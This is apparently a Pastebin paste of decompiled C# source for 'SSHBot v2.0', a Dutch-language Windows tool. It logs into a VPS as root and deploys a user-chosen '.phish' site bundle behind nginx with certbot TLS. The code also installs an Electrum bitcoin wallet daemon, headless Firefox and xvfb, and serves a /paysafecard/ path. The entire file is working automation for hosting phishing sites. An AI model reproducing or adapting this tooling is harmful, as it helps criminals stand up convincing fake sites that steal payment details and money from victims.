Advertisement
Guest User

Untitled

a guest
Apr 24th, 2019
118
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 21.06 KB | None | 0 0
  1. using System;
  2. using System.ComponentModel;
  3. using System.Drawing;
  4. using System.IO;
  5. using System.Threading;
  6. using System.Windows.Forms;
  7. using Renci.SshNet;
  8.  
  9. namespace Sshbot
  10. {
  11.     // Token: 0x02000002 RID: 2
  12.     public class Form1 : Form
  13.     {
  14.         // Token: 0x06000002 RID: 2 RVA: 0x00002057 File Offset: 0x00000257
  15.         public Form1()
  16.         {
  17.             this.InitializeComponent();
  18.             Console.WriteLine("Dit venster niet sluiten, het laat alle commandos zien die nodig zijn om handmatig te uploaden en hier kan je ook volgen waar hij precies zit en wat er gelukt/foutgelopen is.");
  19.         }
  20.  
  21.         // Token: 0x06000003 RID: 3 RVA: 0x00002070 File Offset: 0x00000270
  22.         private void button1_Click(object sender, EventArgs e)
  23.         {
  24.             this.ofdWebsitePhish.ShowDialog();
  25.             MessageBox.Show(this.ofdWebsitePhish.FileName);
  26.             if (!new FileInfo(this.ofdWebsitePhish.FileName).Exists)
  27.             {
  28.                 MessageBox.Show("Er is een onbestaand bestand geselecteerd, probeer opnieuw!", "Error!", MessageBoxButtons.OK, MessageBoxIcon.Hand);
  29.             }
  30.         }
  31.  
  32.         // Token: 0x06000004 RID: 4 RVA: 0x000020C4 File Offset: 0x000002C4
  33.         private void button2_Click(object sender, EventArgs e)
  34.         {
  35.             try
  36.             {
  37.                 if (string.IsNullOrEmpty(this.txtWachtwoord.Text))
  38.                 {
  39.                     MessageBox.Show("Gelieve eerst een vps wachtwoord in te vullen!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
  40.                 }
  41.                 else if (string.IsNullOrEmpty(this.txtDomein.Text))
  42.                 {
  43.                     MessageBox.Show("Gelieve eerst een domein in te vullen!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
  44.                 }
  45.                 else if (!new FileInfo(this.ofdWebsitePhish.FileName).Exists)
  46.                 {
  47.                     MessageBox.Show("Gelieve eerst een site te selecteren!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
  48.                 }
  49.                 else
  50.                 {
  51.                     this.button1.Enabled = false;
  52.                     this.button2.Enabled = false;
  53.                     this.txtDomein.Enabled = false;
  54.                     this.button3.Enabled = false;
  55.                     this.txtWachtwoord.Enabled = false;
  56.                     this.button2.Text = "Aan het laden...";
  57.                     this.button3.Text = "Aan het laden...";
  58.                     SshClient sshClient = new SshClient(this.txtDomein.Text.Replace(" ", ""), "root", this.txtWachtwoord.Text.Replace(" ", ""));
  59.                     sshClient.Connect();
  60.                     Console.WriteLine("beginnen met het instellen van de vps, wees aub geduldig... het kan eventjes duren voor commando's uitgevoerd zijn.");
  61.                     Form1.SendCommand("sudo apt update -y", sshClient);
  62.                     Form1.SendCommand("sudo apt install nginx -y", sshClient);
  63.                     Form1.SendCommand("sudo apt install firefox -y", sshClient);
  64.                     Form1.SendCommand("sudo apt install xvfb -y", sshClient);
  65.                     Form1.SendCommand("sudo wget https://download.electrum.org/3.3.4/electrum-3.3.4-x86_64.AppImage -O /electrum.AppImage", sshClient);
  66.                     Form1.SendCommand("sudo chmod +x /electrum.AppImage", sshClient);
  67.                     Form1.SendCommand("sudo rm -rf /electrum", sshClient);
  68.                     Form1.SendCommand("sudo rm -rf squashfs-root", sshClient);
  69.                     Form1.SendCommand("sudo /electrum.AppImage --appimage-extract", sshClient);
  70.                     Form1.SendCommand("sudo mv squashfs-root /electrum", sshClient);
  71.                     Form1.SendCommand("sudo chmod +x /electrum/AppRun", sshClient);
  72.                     Form1.SendCommand("sudo systemctl enable nginx", sshClient);
  73.                     Form1.SendCommand("sudo systemctl start nginx", sshClient);
  74.                     Form1.SendCommand("sudo systemctl is-active nginx", sshClient);
  75.                     Form1.SendCommand("sudo rm -rf /var/www/bonk", sshClient);
  76.                     Form1.SendCommand("sudo mkdir /var/www/bonk", sshClient);
  77.                     Form1.SendCommand(string.Concat(new string[]
  78.                     {
  79.                         "sudo echo '",
  80.                         Environment.NewLine,
  81.                         "server {",
  82.                         Environment.NewLine,
  83.                         "   listen\t80;",
  84.                         Environment.NewLine,
  85.                         "   root /var/www/bonk/wwwroot;",
  86.                         Environment.NewLine,
  87.                         "   server_name ",
  88.                         this.txtDomein.Text.Replace(" ", ""),
  89.                         " www.",
  90.                         this.txtDomein.Text.Replace(" ", ""),
  91.                         ";",
  92.                         Environment.NewLine,
  93.                         "   location / {",
  94.                         Environment.NewLine,
  95.                         "   proxy_pass http://127.0.0.1:5000;",
  96.                         Environment.NewLine,
  97.                         "   proxy_http_version 1.1;",
  98.                         Environment.NewLine,
  99.                         "   proxy_set_header Upgrade $http_upgrade;",
  100.                         Environment.NewLine,
  101.                         "   proxy_set_header Connection keep-alive;",
  102.                         Environment.NewLine,
  103.                         "   proxy_set_header Host $host;",
  104.                         Environment.NewLine,
  105.                         "   proxy_cache_bypass $http_upgrade;",
  106.                         Environment.NewLine,
  107.                         "   proxy_connect_timeout       300;",
  108.                         Environment.NewLine,
  109.                         "   proxy_send_timeout          300;",
  110.                         Environment.NewLine,
  111.                         "   proxy_read_timeout          300;",
  112.                         Environment.NewLine,
  113.                         "   send_timeout                300;",
  114.                         Environment.NewLine,
  115.                         "   proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;",
  116.                         Environment.NewLine,
  117.                         "   proxy_set_header X-Forwarded-Proto $scheme;",
  118.                         Environment.NewLine,
  119.                         "   }",
  120.                         Environment.NewLine,
  121.                         "   location /Content/ {",
  122.                         Environment.NewLine,
  123.                         "   try_files $uri =404;",
  124.                         Environment.NewLine,
  125.                         "   }",
  126.                         Environment.NewLine,
  127.                         "   location /paysafecard/ {",
  128.                         Environment.NewLine,
  129.                         "   try_files $uri =404;",
  130.                         Environment.NewLine,
  131.                         "   }",
  132.                         Environment.NewLine,
  133.                         "   location /css/ {",
  134.                         Environment.NewLine,
  135.                         "   try_files $uri =404;",
  136.                         Environment.NewLine,
  137.                         "   }\t",
  138.                         Environment.NewLine,
  139.                         "   location /fonts/ {",
  140.                         Environment.NewLine,
  141.                         "   try_files $uri =404;",
  142.                         Environment.NewLine,
  143.                         "   }",
  144.                         Environment.NewLine,
  145.                         "   location /styles/ {",
  146.                         Environment.NewLine,
  147.                         "   try_files $uri =404;",
  148.                         Environment.NewLine,
  149.                         "   }",
  150.                         Environment.NewLine,
  151.                         "location /images/ {",
  152.                         Environment.NewLine,
  153.                         "   try_files $uri =404;",
  154.                         Environment.NewLine,
  155.                         "   }",
  156.                         Environment.NewLine,
  157.                         "}' > /etc/nginx/sites-available/default"
  158.                     }), sshClient);
  159.                     Form1.SendCommand("sudo nginx -s reload", sshClient);
  160.                     sshClient.Disconnect();
  161.                     SftpClient sftpClient = new SftpClient(this.txtDomein.Text.Replace(" ", ""), "root", this.txtWachtwoord.Text.Replace(" ", ""));
  162.                     sftpClient.KeepAliveInterval = TimeSpan.FromMilliseconds(300.0);
  163.                     sftpClient.Connect();
  164.                     FileInfo fileInfo = new FileInfo(this.ofdWebsitePhish.FileName);
  165.                     string fullName = fileInfo.FullName;
  166.                     Console.WriteLine("Beginnen met uploaden van: '" + fileInfo.Name + "'");
  167.                     Console.WriteLine("Dit kan eventjes duren!");
  168.                     Console.WriteLine("uploadfile: " + fullName + " > /var/www/bonk/bonk.zip");
  169.                     FileStream fileStream = new FileStream(fullName, FileMode.Open);
  170.                     sftpClient.BufferSize = 4096u;
  171.                     sftpClient.UploadFile(fileStream, "/var/www/bonk/bonk.zip", null);
  172.                     sftpClient.Disconnect();
  173.                     sftpClient.Dispose();
  174.                     Console.WriteLine("Bestand verstuurd!");
  175.                     sshClient.Connect();
  176.                     Form1.SendCommand("sudo apt install unzip -y", sshClient);
  177.                     Form1.SendCommand("sudo unzip /var/www/bonk/bonk.zip -d /var/www/bonk", sshClient);
  178.                     Form1.SendCommand("sudo chmod +x /var/www/bonk/bonksite", sshClient);
  179.                     Form1.SendCommand("sudo chmod +x /var/www/bonk/geckodriver", sshClient);
  180.                     Form1.SendCommand(string.Concat(new string[]
  181.                     {
  182.                         "sudo echo '[Unit]",
  183.                         Environment.NewLine,
  184.                         "Description=bonksite",
  185.                         Environment.NewLine,
  186.                         Environment.NewLine,
  187.                         "[Service]",
  188.                         Environment.NewLine,
  189.                         "ExecStart=/bin/bash -c \"sudo xvfb-run --auto-servernum --server-args=\\\"-screen 0 1024x768x8\\\" /var/www/bonk/bonksite\"",
  190.                         Environment.NewLine,
  191.                         "Restart=always",
  192.                         Environment.NewLine,
  193.                         "RestartSec=10",
  194.                         Environment.NewLine,
  195.                         "SyslogIdentifier=bonksitesyslog",
  196.                         Environment.NewLine,
  197.                         "User=root",
  198.                         Environment.NewLine,
  199.                         Environment.NewLine,
  200.                         "[Install]",
  201.                         Environment.NewLine,
  202.                         "WantedBy=multi-user.target",
  203.                         Environment.NewLine,
  204.                         "' > /etc/systemd/system/bonksite.service"
  205.                     }), sshClient);
  206.                     string.Concat(new string[]
  207.                     {
  208.                         "sudo echo '[Unit]",
  209.                         Environment.NewLine,
  210.                         "Description=electrumdaemon",
  211.                         Environment.NewLine,
  212.                         Environment.NewLine,
  213.                         "[Service]",
  214.                         Environment.NewLine,
  215.                         "ExecStart=/electrum/AppRun daemon start",
  216.                         Environment.NewLine,
  217.                         "Restart=always",
  218.                         Environment.NewLine,
  219.                         "RestartSec=5",
  220.                         Environment.NewLine,
  221.                         "SyslogIdentifier=electrumdaemonsyslog",
  222.                         Environment.NewLine,
  223.                         "User=root",
  224.                         Environment.NewLine,
  225.                         Environment.NewLine,
  226.                         "[Install]",
  227.                         Environment.NewLine,
  228.                         "WantedBy=multi-user.target",
  229.                         Environment.NewLine,
  230.                         "' > /etc/systemd/system/electrumdaemon.service"
  231.                     });
  232.                     Form1.SendCommand("echo '' > /etc/systemd/system/electrumdaemon.service", sshClient);
  233.                     Form1.SendCommand("systemctl daemon-reload", sshClient);
  234.                     Form1.SendCommand("systemctl enable electrumdaemon", sshClient);
  235.                     Form1.SendCommand("systemctl start electrumdaemon", sshClient);
  236.                     Thread.Sleep(1000);
  237.                     Form1.SendCommand("systemctl enable bonksite", sshClient);
  238.                     Form1.SendCommand("systemctl start bonksite", sshClient);
  239.                     Form1.SendCommand("sudo add-apt-repository ppa:certbot/certbot", sshClient);
  240.                     Form1.SendCommand("sudo apt-get update -y", sshClient);
  241.                     Form1.SendCommand("sudo apt-get install python-certbot-nginx -y", sshClient);
  242.                     Form1.SendCommand(string.Concat(new string[]
  243.                     {
  244.                         "sudo certbot --expand -n --authenticator standalone --installer nginx -d ",
  245.                         this.txtDomein.Text.Replace(" ", ""),
  246.                         " -d www.",
  247.                         this.txtDomein.Text.Replace(" ", ""),
  248.                         "  --pre-hook \"service nginx stop\" --post-hook \"service nginx start\" --agree-tos --register-unsafely-without-email --redirect --no-eff-email"
  249.                     }), sshClient);
  250.                     Form1.SendCommand("reboot", sshClient);
  251.                     Console.WriteLine("Volledig klaar! de website zou binnen de 2 minuten online moeten staan want hij is momenteel nog aan het herstarten.");
  252.                     sshClient.Disconnect();
  253.                 }
  254.             }
  255.             catch (Exception ex)
  256.             {
  257.                 Console.WriteLine(ex.Message);
  258.             }
  259.             this.button1.Enabled = true;
  260.             this.button2.Enabled = true;
  261.             this.txtDomein.Enabled = true;
  262.             this.txtWachtwoord.Enabled = true;
  263.             this.button2.Text = "Begin met uploaden!";
  264.             this.button3.Text = "Domein veranderen!";
  265.             this.button3.Enabled = true;
  266.         }
  267.  
  268.         // Token: 0x06000005 RID: 5 RVA: 0x000029E8 File Offset: 0x00000BE8
  269.         public static void SendCommand(string command, SshClient client)
  270.         {
  271.             Application.DoEvents();
  272.             Console.WriteLine("root@lubuntu:# " + command);
  273.             using (SshCommand sshCommand = client.CreateCommand(command))
  274.             {
  275.                 sshCommand.Execute();
  276.                 Console.WriteLine(sshCommand.Result);
  277.             }
  278.             Application.DoEvents();
  279.         }
  280.  
  281.         // Token: 0x06000006 RID: 6 RVA: 0x00002A48 File Offset: 0x00000C48
  282.         private void button3_Click(object sender, EventArgs e)
  283.         {
  284.             try
  285.             {
  286.                 if (string.IsNullOrEmpty(this.txtWachtwoord.Text))
  287.                 {
  288.                     MessageBox.Show("Gelieve eerst een vps wachtwoord in te vullen!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
  289.                 }
  290.                 else if (string.IsNullOrEmpty(this.txtDomein.Text))
  291.                 {
  292.                     MessageBox.Show("Gelieve eerst een domein in te vullen!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
  293.                 }
  294.                 else
  295.                 {
  296.                     SshClient sshClient = new SshClient(this.txtDomein.Text.Replace(" ", ""), "root", this.txtWachtwoord.Text.Replace(" ", ""));
  297.                     sshClient.Connect();
  298.                     Console.WriteLine("beginnen met het instellen van de vps, wees aub geduldig... het kan eventjes duren voor commando's uitgevoerd zijn.");
  299.                     Form1.SendCommand("sudo apt update -y", sshClient);
  300.                     Form1.SendCommand("sudo apt install nginx -y", sshClient);
  301.                     Form1.SendCommand("sudo apt install firefox -y", sshClient);
  302.                     Form1.SendCommand("sudo apt install xvfb -y", sshClient);
  303.                     Form1.SendCommand("sudo systemctl enable nginx", sshClient);
  304.                     Form1.SendCommand("sudo systemctl start nginx", sshClient);
  305.                     Form1.SendCommand("sudo systemctl is-active nginx", sshClient);
  306.                     Form1.SendCommand(string.Concat(new string[]
  307.                     {
  308.                         "sudo echo '",
  309.                         Environment.NewLine,
  310.                         "server {",
  311.                         Environment.NewLine,
  312.                         "   listen\t80;",
  313.                         Environment.NewLine,
  314.                         "   root /var/www/bonk/wwwroot;",
  315.                         Environment.NewLine,
  316.                         "   server_name ",
  317.                         this.txtDomein.Text.Replace(" ", ""),
  318.                         " www.",
  319.                         this.txtDomein.Text.Replace(" ", ""),
  320.                         ";",
  321.                         Environment.NewLine,
  322.                         "   location / {",
  323.                         Environment.NewLine,
  324.                         "   proxy_pass http://127.0.0.1:5000;",
  325.                         Environment.NewLine,
  326.                         "   proxy_http_version 1.1;",
  327.                         Environment.NewLine,
  328.                         "   proxy_set_header Upgrade $http_upgrade;",
  329.                         Environment.NewLine,
  330.                         "   proxy_set_header Connection keep-alive;",
  331.                         Environment.NewLine,
  332.                         "   proxy_set_header Host $host;",
  333.                         Environment.NewLine,
  334.                         "   proxy_cache_bypass $http_upgrade;",
  335.                         Environment.NewLine,
  336.                         "   proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;",
  337.                         Environment.NewLine,
  338.                         "   proxy_set_header X-Forwarded-Proto $scheme;",
  339.                         Environment.NewLine,
  340.                         "   }",
  341.                         Environment.NewLine,
  342.                         "   location /Content/ {",
  343.                         Environment.NewLine,
  344.                         "   try_files $uri =404;",
  345.                         Environment.NewLine,
  346.                         "   }",
  347.                         Environment.NewLine,
  348.                         "   location /paysafecard/ {",
  349.                         Environment.NewLine,
  350.                         "   try_files $uri =404;",
  351.                         Environment.NewLine,
  352.                         "   }",
  353.                         Environment.NewLine,
  354.                         "   location /css/ {",
  355.                         Environment.NewLine,
  356.                         "   try_files $uri =404;",
  357.                         Environment.NewLine,
  358.                         "   }\t",
  359.                         Environment.NewLine,
  360.                         "   location /fonts/ {",
  361.                         Environment.NewLine,
  362.                         "   try_files $uri =404;",
  363.                         Environment.NewLine,
  364.                         "   }",
  365.                         Environment.NewLine,
  366.                         "   location /styles/ {",
  367.                         Environment.NewLine,
  368.                         "   try_files $uri =404;",
  369.                         Environment.NewLine,
  370.                         "   }",
  371.                         Environment.NewLine,
  372.                         "location /images/ {",
  373.                         Environment.NewLine,
  374.                         "   try_files $uri =404;",
  375.                         Environment.NewLine,
  376.                         "   }",
  377.                         Environment.NewLine,
  378.                         "}' > /etc/nginx/sites-available/default"
  379.                     }), sshClient);
  380.                     Form1.SendCommand("sudo nginx -s reload", sshClient);
  381.                     Form1.SendCommand("sudo add-apt-repository ppa:certbot/certbot", sshClient);
  382.                     Form1.SendCommand("sudo apt-get update -y", sshClient);
  383.                     Form1.SendCommand("sudo apt-get install python-certbot-nginx -y", sshClient);
  384.                     Form1.SendCommand(string.Concat(new string[]
  385.                     {
  386.                         "sudo certbot --expand -n --authenticator standalone --installer nginx -d ",
  387.                         this.txtDomein.Text.Replace(" ", ""),
  388.                         " -d www.",
  389.                         this.txtDomein.Text.Replace(" ", ""),
  390.                         "  --pre-hook \"service nginx stop\" --post-hook \"service nginx start\" --agree-tos --register-unsafely-without-email --redirect --no-eff-email"
  391.                     }), sshClient);
  392.                     sshClient.Disconnect();
  393.                     Console.WriteLine("Domein is ingesteld! Er worden geen extra kosten ingebracht.");
  394.                 }
  395.             }
  396.             catch (Exception ex)
  397.             {
  398.                 Console.WriteLine(ex.Message);
  399.             }
  400.         }
  401.  
  402.         // Token: 0x06000007 RID: 7 RVA: 0x00002EC0 File Offset: 0x000010C0
  403.         private void Form1_Load(object sender, EventArgs e)
  404.         {
  405.         }
  406.  
  407.         // Token: 0x06000008 RID: 8 RVA: 0x00002EC2 File Offset: 0x000010C2
  408.         protected override void Dispose(bool disposing)
  409.         {
  410.             if (disposing && this.components != null)
  411.             {
  412.                 this.components.Dispose();
  413.             }
  414.             base.Dispose(disposing);
  415.         }
  416.  
  417.         // Token: 0x06000009 RID: 9 RVA: 0x00002EE4 File Offset: 0x000010E4
  418.         private void InitializeComponent()
  419.         {
  420.             this.label2 = new Label();
  421.             this.txtWachtwoord = new TextBox();
  422.             this.label3 = new Label();
  423.             this.button1 = new Button();
  424.             this.label4 = new Label();
  425.             this.txtDomein = new TextBox();
  426.             this.ofdWebsitePhish = new OpenFileDialog();
  427.             this.button2 = new Button();
  428.             this.tabControl1 = new TabControl();
  429.             this.tabPage1 = new TabPage();
  430.             this.tabPage2 = new TabPage();
  431.             this.button3 = new Button();
  432.             this.label5 = new Label();
  433.             this.tabControl1.SuspendLayout();
  434.             this.tabPage1.SuspendLayout();
  435.             this.tabPage2.SuspendLayout();
  436.             base.SuspendLayout();
  437.             this.label2.AutoSize = true;
  438.             this.label2.Location = new Point(16, 13);
  439.             this.label2.Name = "label2";
  440.             this.label2.Size = new Size(112, 13);
  441.             this.label2.TabIndex = 1;
  442.             this.label2.Text = "Wachtwoord van vps:";
  443.             this.txtWachtwoord.Location = new Point(134, 10);
  444.             this.txtWachtwoord.Name = "txtWachtwoord";
  445.             this.txtWachtwoord.Size = new Size(100, 20);
  446.             this.txtWachtwoord.TabIndex = 0;
  447.             this.label3.AutoSize = true;
  448.             this.label3.Location = new Point(6, 12);
  449.             this.label3.Name = "label3";
  450.             this.label3.Size = new Size(97, 13);
  451.             this.label3.TabIndex = 3;
  452.             this.label3.Text = "Site phish bestand:";
  453.             this.button1.Location = new Point(115, 7);
  454.             this.button1.Name = "button1";
  455.             this.button1.Size = new Size(100, 23);
  456.             this.button1.TabIndex = 2;
  457.             this.button1.Text = "Selecteer...";
  458.             this.button1.UseVisualStyleBackColor = true;
  459.             this.button1.Click += this.button1_Click;
  460.             this.label4.AutoSize = true;
  461.             this.label4.Location = new Point(12, 39);
  462.             this.label4.Name = "label4";
  463.             this.label4.Size = new Size(113, 13);
  464.             this.label4.TabIndex = 1;
  465.             this.label4.Text = "Domeinnaam van vps:";
  466.             this.txtDomein.Location = new Point(134, 36);
  467.             this.txtDomein.Name = "txtDomein";
  468.             this.txtDomein.Size = new Size(100, 20);
  469.             this.txtDomein.TabIndex = 1;
  470.             this.ofdWebsitePhish.FileName = "bonksite.phish";
  471.             this.ofdWebsitePhish.Filter = "phish file (*.phish)|*.phish";
  472.             this.button2.Location = new Point(6, 46);
  473.             this.button2.Name = "button2";
  474.             this.button2.Size = new Size(209, 23);
  475.             this.button2.TabIndex = 3;
  476.             this.button2.Text = "Begin met uploaden!";
  477.             this.button2.UseVisualStyleBackColor = true;
  478.             this.button2.Click += this.button2_Click;
  479.             this.tabControl1.Controls.Add(this.tabPage1);
  480.             this.tabControl1.Controls.Add(this.tabPage2);
  481.             this.tabControl1.Location = new Point(12, 62);
  482.             this.tabControl1.Name = "tabControl1";
  483.             this.tabControl1.SelectedIndex = 0;
  484.             this.tabControl1.Size = new Size(230, 101);
  485.             this.tabControl1.TabIndex = 4;
  486.             this.tabPage1.Controls.Add(this.button1);
  487.             this.tabPage1.Controls.Add(this.button2);
  488.             this.tabPage1.Controls.Add(this.label3);
  489.             this.tabPage1.Location = new Point(4, 22);
  490.             this.tabPage1.Name = "tabPage1";
  491.             this.tabPage1.Padding = new Padding(3);
  492.             this.tabPage1.Size = new Size(222, 75);
  493.             this.tabPage1.TabIndex = 0;
  494.             this.tabPage1.Text = "Volledige setup";
  495.             this.tabPage1.UseVisualStyleBackColor = true;
  496.             this.tabPage2.Controls.Add(this.button3);
  497.             this.tabPage2.Controls.Add(this.label5);
  498.             this.tabPage2.Location = new Point(4, 22);
  499.             this.tabPage2.Name = "tabPage2";
  500.             this.tabPage2.Padding = new Padding(3);
  501.             this.tabPage2.Size = new Size(222, 75);
  502.             this.tabPage2.TabIndex = 1;
  503.             this.tabPage2.Text = "Enkel domein";
  504.             this.tabPage2.UseVisualStyleBackColor = true;
  505.             this.button3.Location = new Point(3, 46);
  506.             this.button3.Name = "button3";
  507.             this.button3.Size = new Size(213, 23);
  508.             this.button3.TabIndex = 5;
  509.             this.button3.Text = "Verander domein!";
  510.             this.button3.UseVisualStyleBackColor = true;
  511.             this.button3.Click += this.button3_Click;
  512.             this.label5.Location = new Point(6, 3);
  513.             this.label5.Name = "label5";
  514.             this.label5.Size = new Size(210, 31);
  515.             this.label5.TabIndex = 0;
  516.             this.label5.Text = "Dit gaat sneller!";
  517.             base.AutoScaleDimensions = new SizeF(6f, 13f);
  518.             base.AutoScaleMode = AutoScaleMode.Font;
  519.             base.ClientSize = new Size(248, 171);
  520.             base.Controls.Add(this.tabControl1);
  521.             base.Controls.Add(this.txtDomein);
  522.             base.Controls.Add(this.label4);
  523.             base.Controls.Add(this.txtWachtwoord);
  524.             base.Controls.Add(this.label2);
  525.             this.MinimumSize = new Size(260, 190);
  526.             base.Name = "Form1";
  527.             base.ShowIcon = false;
  528.             this.Text = "SSHBot v2.0";
  529.             base.Load += this.Form1_Load;
  530.             this.tabControl1.ResumeLayout(false);
  531.             this.tabPage1.ResumeLayout(false);
  532.             this.tabPage1.PerformLayout();
  533.             this.tabPage2.ResumeLayout(false);
  534.             base.ResumeLayout(false);
  535.             base.PerformLayout();
  536.         }
  537.  
  538.         // Token: 0x04000001 RID: 1
  539.         private IContainer components;
  540.  
  541.         // Token: 0x04000002 RID: 2
  542.         private Label label2;
  543.  
  544.         // Token: 0x04000003 RID: 3
  545.         private TextBox txtWachtwoord;
  546.  
  547.         // Token: 0x04000004 RID: 4
  548.         private Label label3;
  549.  
  550.         // Token: 0x04000005 RID: 5
  551.         private Button button1;
  552.  
  553.         // Token: 0x04000006 RID: 6
  554.         private Label label4;
  555.  
  556.         // Token: 0x04000007 RID: 7
  557.         private TextBox txtDomein;
  558.  
  559.         // Token: 0x04000008 RID: 8
  560.         private OpenFileDialog ofdWebsitePhish;
  561.  
  562.         // Token: 0x04000009 RID: 9
  563.         private Button button2;
  564.  
  565.         // Token: 0x0400000A RID: 10
  566.         private TabControl tabControl1;
  567.  
  568.         // Token: 0x0400000B RID: 11
  569.         private TabPage tabPage1;
  570.  
  571.         // Token: 0x0400000C RID: 12
  572.         private TabPage tabPage2;
  573.  
  574.         // Token: 0x0400000D RID: 13
  575.         private Button button3;
  576.  
  577.         // Token: 0x0400000E RID: 14
  578.         private Label label5;
  579.     }
  580. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement